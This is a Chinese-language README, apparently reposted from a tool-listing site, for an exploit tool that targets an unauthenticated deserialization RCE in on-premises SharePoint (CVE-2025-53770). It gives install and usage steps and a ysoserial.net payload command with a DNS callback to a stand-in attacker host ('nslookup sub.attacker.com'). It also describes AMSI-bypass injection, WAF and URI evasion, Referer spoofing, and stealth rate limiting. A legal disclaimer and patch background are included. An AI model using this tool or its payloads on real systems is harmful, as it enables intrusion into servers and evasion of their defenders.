Divine Absolute - CVE-2025-53770 利用工具

概述

Divine Absolute 是一款先进的、向导驱动的 Python 利用工具，针对 CVE-2025-53770——微软本地 SharePoint Server（2016、2019、订阅版）中的一个严重（CVSS 9.8）未认证远程代码执行（RCE）漏洞。该漏洞于 2025 年 7 月 19 日作为零日漏洞披露，源于 /_layouts/15/ToolPane.aspx 中对未受信任数据的反序列化。本工具专为 授权渗透测试和安全研究 设计，在侦察、利用和验证方面提供无与伦比的精确性、隐蔽性和适应性。

仓库： https://github.com/exfil0/CVE-2025-53770

⚠️ 法律警告：本工具仅供在受控环境中获得明确许可的合法授权使用。未经授权对您不拥有或未获许可的系统使用本工具是非法的，并可能导致严重的法律后果。作者对滥用行为不承担任何责任。

功能特性

• 模式：
  • 侦察：检测 SharePoint 存在性、版本以及 ToolPane.aspx 的可访问性，带有高级评分和正则表达式（例如 16.0.0.\d+-\w+?）。
  • 利用：通过 ToolPane.aspx 传递有效载荷，并具备强大的绕过功能。
  • 完整：结合侦察与利用，可选激进利用模式。
• 有效载荷生成：
  • 集成 ysoserial.net 用于 .NET 反序列化有效载荷（例如 ObjectDataProvider、LosFormatter）。
  • 可选 pythonnet 用于回退 HTTP/DNS 回调有效载荷（例如 WebRequest.Create、Dns.GetHostEntry）。
  • 支持 GZIP 压缩，带有显式编码/解码和 base64 验证。
  • 向 PowerShell 命令（包括 base64 编码的 -enc 有效载荷）注入 AMSI 绕过（基本反射、混淆或自定义片段）。
• 绕过：
  • URI 规避：随机或固定后缀（例如 /xp.aspx、基于 UUID）。
  • Referer 伪造：无、外部域名（例如 www.google.com）、自定义 URL 或内部 SharePoint 路径（例如 /_layouts/15/sharepoint.aspx）。
• 隐蔽性：
  • 自适应速率限制，带有最小 RPS 下限（0.01）和突发控制。
  • 线程安全并发，带有锁保护的节奏调控和抖动（0-0.1s）。
• 验证：
  • 强大的 RCE 确认，使用编译或正则组合、RequestException 重试、可定制的状态码和路径。
• 侦察：
  • 增强的 SharePoint 检测，通过头部（例如 MicrosoftSharePointTeamServices）、路径（例如 /versions.aspx）和正则表达式。
• 输出：
  • JSON 结果，带有用于分析的取证日志。
• 易用性：
  • 交互式向导，便于配置。
  • 在非 Windows 系统上支持 Mono/Wine 运行 ysoserial.net。
  • 代理支持（HTTP/SOCKS5）和可定制的超时。

CVE-2025-53770 背景

• 漏洞：/_layouts/15/ToolPane.aspx 中的未认证 RCE，由反序列化引起。
• 影响版本：SharePoint Server 2016、2019、订阅版（EOL 2010/2013 同样受影响）。
• 未影响版本：SharePoint Online（M365）。
• 已被利用：自 2025 年 7 月 18 日起，在国家支持行为者（例如 Linen Typhoon）的“ToolShell”等行动中被利用。
• 补丁：微软于 2025 年 7 月 19 日发布了补丁（例如 KB5002768、KB5002754），可完全缓解。CISA KEV 目录要求联邦机构在 2025 年 7 月 21 日前完成修补。
• 缓解措施：打补丁、修补后轮换密钥、启用 AMSI/Defender（完整模式）、监控 /ToolPane.aspx 的 POST 请求、使用 WAF 规则（例如 Cloudflare）。

安装

前提条件

• Python 3.8+
• 依赖项：
  root@kitploit:~

  pip install requests termcolor
  

• 可选（用于 .NET 序列化回退）：
  root@kitploit:~

  pip install pythonnet
  

• ysoserial.net：
  • 从 ysoserial.net 发布页 下载。
  • 将 ysoserial.exe 放置在已知路径（例如 ./ysoserial.exe）。
• Mono/Wine（非 Windows 系统）：
  root@kitploit:~

  # Ubuntu/Debian
  sudo apt-get install mono-complete
  # macOS（通过 Homebrew）
  brew install mono
  

• Docker 实验室（推荐用于测试）：
  root@kitploit:~

  docker pull mcr.microsoft.com/sharepoint/server:2019
  

设置

1. 克隆仓库：
   root@kitploit:~

   git clone https://github.com/exfil0/CVE-2025-53770.git
   cd CVE-2025-53770
   

2. 安装 Python 依赖项：
   root@kitploit:~

   pip install -r requirements.txt
   

3. 确保 ysoserial.exe 可访问，或在执行时提供其路径。
4. （可选）验证非 Windows 系统上的 Mono/Wine。

使用说明

运行交互式向导：

python divine_absolute.py

工作流程

1. 模式选择：
   • Recon（侦察）：扫描 SharePoint 存在性和版本。
   • Exploit（利用）：向 ToolPane.aspx 发送有效载荷。
   • Full（完整）：侦察 + 利用（可选激进模式）。
2. 目标输入：
   • 单个 URL（例如 https://sharepoint.example.com）。
   • 包含 URL 的文件（每行一个）。
3. 有效载荷配置：
   • ysoserial.net：指定路径、gadget（例如 ObjectDataProvider）和命令（例如 cmd /c whoami）。
   • 文件：从文件加载 base64 GZIP 有效载荷。
   • 字符串：直接输入 base64 GZIP 有效载荷。
   • 回连：生成 HTTP/DNS 回连（例如 http://attacker.com/callback 或 sub.attacker.com）。
   • AMSI 绕过：选择 NONE（无）、BASIC_REFLECTION（基本反射）、CONCAT_OBFUSCATED（连接混淆）或自定义片段。

示例命令

• 侦察：
  root@kitploit:~

  python divine_absolute.py
  # 选择：Mode=Recon, Target=https://sharepoint.example.com
  

• 使用 ysoserial.net 进行利用：
  root@kitploit:~

  python divine_absolute.py
  # 选择：Mode=Exploit, Target=https://sharepoint.example.com, Payload=YSOSERIAL,
  #         ysoserial.exe path=./ysoserial.exe, Gadget=ObjectDataProvider,
  #         Command="cmd /c echo %COMPUTERNAME% > C:\Temp\out.txt"
  

• 带验证的完整模式：
  root@kitploit:~

  python divine_absolute.py
  # 选择：Mode=Full, Target=target_list.txt, Payload=FILE, Payload File=payload.b64,
  #         Verify Path=/sitepages/out.txt, Regexes="COMPUTERNAME", Status Codes=200
  

• DNS 回连：
  root@kitploit:~

  python divine_absolute.py
  # 选择：Mode=Exploit, Payload=PINGBACK, Pingback URL=sub.attacker.com
  

输出

结果保存在 xanthorox_results.json 中，包含以下字段：

• target：测试的 URL。
• sharepoint_detected：布尔值，是否检测到 SharePoint。
• toolpane_accessible：布尔值，ToolPane.aspx 是否可访问。
• exploited：布尔值，是否发送了有效载荷。
• verified_rce：布尔值/None，RCE 是否确认。
• error：遇到的任何错误。

示例：

[
  {
    "target": "https://sharepoint.example.com",
    "sharepoint_detected": true,
    "toolpane_accessible": true,
    "exploited": true,
    "verified_rce": true,
    "error": null
  }
]

已修复的改进

本版本修复了以下问题：

• 自适应速率限制：忽略非重试错误（例如 404）对成功/错误计数的干扰；强制执行最小 RPS 下限（0.01）。
• AMSI 注入：解码并向后缀为 base64 编码的 PowerShell（-enc）命令注入绕过；支持非 PowerShell（例如 cmd.exe）并给出警告。
• 回连回退：使用 pythonnet 通过 Dns.GetHostEntry 实现可靠的 DNS 回连（实验性，需配合 gadget 以发挥完整效果）。

测试建议

• 实验室搭建：使用未打补丁的 SharePoint Server 2019 Docker 容器进行安全测试。
• WAF 测试：在 Cloudflare 或类似 WAF 下使用自适应 RPS 验证绕过效果。
• 有效载荷测试：使用 ysoserial.exe -f LosFormatter -g ObjectDataProvider -c "cmd /c nslookup sub.attacker.com" -o base64 生成有效载荷，并验证 DNS 日志。

已知限制

• 回连可靠性：pythonnet 中的 Dns.GetHostEntry 可能在没有特定 gadget 链的情况下无法触发。
• 复杂命令：非标准 PowerShell 命令可能需要手动注入 AMSI 绕过。
• WAF 检测：某些 WAF 仍可能绕过失败；建议充分测试。

贡献

欢迎贡献！请遵循以下步骤：

1. Fork 本仓库。
2. 创建功能分支（git checkout -b feature/awesome-improvement）。
3. 提交更改（git commit -m "Add awesome improvement"）。
4. 推送至分支（git push origin feature/awesome-improvement）。
5. 发起 Pull Request。

许可证

本项目采用 MIT 许可证。详情请见 LICENSE。

致谢

• xAI：感谢其对前沿安全研究的启发。
• ysoserial.net 团队：感谢其提供的 .NET 反序列化有效载荷生成器。
• 安全社区：感谢对 CVE-2025-53770 利用和缓解措施的真知灼见。

联系方式

• 作者：@exfil0
• 问题反馈：GitHub Issues
• Telegram：https://t.me/GOTOCVE

注意：在实际使用前，请务必在受控实验室中验证有效载荷和配置。保持道德，遵守法律。